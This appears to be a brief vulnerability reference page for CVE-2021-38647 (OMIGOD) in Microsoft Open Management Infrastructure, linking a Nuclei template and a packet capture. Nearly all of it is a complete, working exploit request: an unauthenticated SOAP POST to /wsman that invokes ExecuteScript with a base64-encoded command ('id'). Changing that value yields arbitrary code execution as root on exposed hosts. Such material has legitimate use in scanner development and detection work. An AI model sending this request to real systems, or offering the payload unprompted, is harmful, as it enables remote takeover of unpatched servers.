CVE-2021-38647: Microsoft Open Management Infrastructure - Remote Code Execution

🔍 Vulnerability Description

Microsoft Open Management Infrastructure is susceptible to remote code execution (OMIGOD).

🌐 HTTP Request

POST /wsman HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1 Safari/605.1.15
Connection: close
Content-Length: 1690
Content-Type: application/soap+xml;charset=UTF-8
Accept-Encoding: gzip

<s:Envelope

  xmlns:s="http://www.w3.org/2003/05/soap-envelope"

  xmlns:a="http://schemas.xmlsoap.org/ws/2004/08/addressing"

  xmlns:n="http://schemas.xmlsoap.org/ws/2004/09/enumeration"

  xmlns:w="http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd"

  xmlns:xsi="http://www.w3.org/2001/XMLSchema"

  xmlns:h="http://schemas.microsoft.com/wbem/wsman/1/windows/shell"

  xmlns:p="http://schemas.microsoft.com/wbem/wsman/1/wsman.xsd">

  <s:Header>

    <a:To>HTTP://www.victim.com/wsman/</a:To>

    <w:ResourceURI s:mustUnderstand="true">http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem</w:ResourceURI>

    <a:ReplyTo>

      <a:Address s:mustUnderstand="true">http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous</a:Address>

    </a:ReplyTo>

    <a:Action>http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem/ExecuteScript</a:Action>

    <w:MaxEnvelopeSize s:mustUnderstand="true">102400</w:MaxEnvelopeSize>

    <a:MessageID>uuid:00B60932-CC01-0005-0000-000000010000</a:MessageID>

    <w:OperationTimeout>PT1M30S</w:OperationTimeout>

    <w:Locale xml:lang="en-us" s:mustUnderstand="false"/>

    <p:DataLocale xml:lang="en-us" s:mustUnderstand="false"/>

    <w:OptionSet s:mustUnderstand="true"/>

    <w:SelectorSet>

      <w:Selector Name="__cimnamespace">root/scx</w:Selector>

    </w:SelectorSet>

  </s:Header>

  <s:Body>

    <p:ExecuteScript_INPUT

      xmlns:p="http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem">

      <p:Script>aWQ=</p:Script>

      <p:Arguments/>

      <p:timeout>0</p:timeout>

      <p:b64encoded>true</p:b64encoded>

    </p:ExecuteScript_INPUT>

  </s:Body>

</s:Envelope>

🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-38647.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-38647.pcap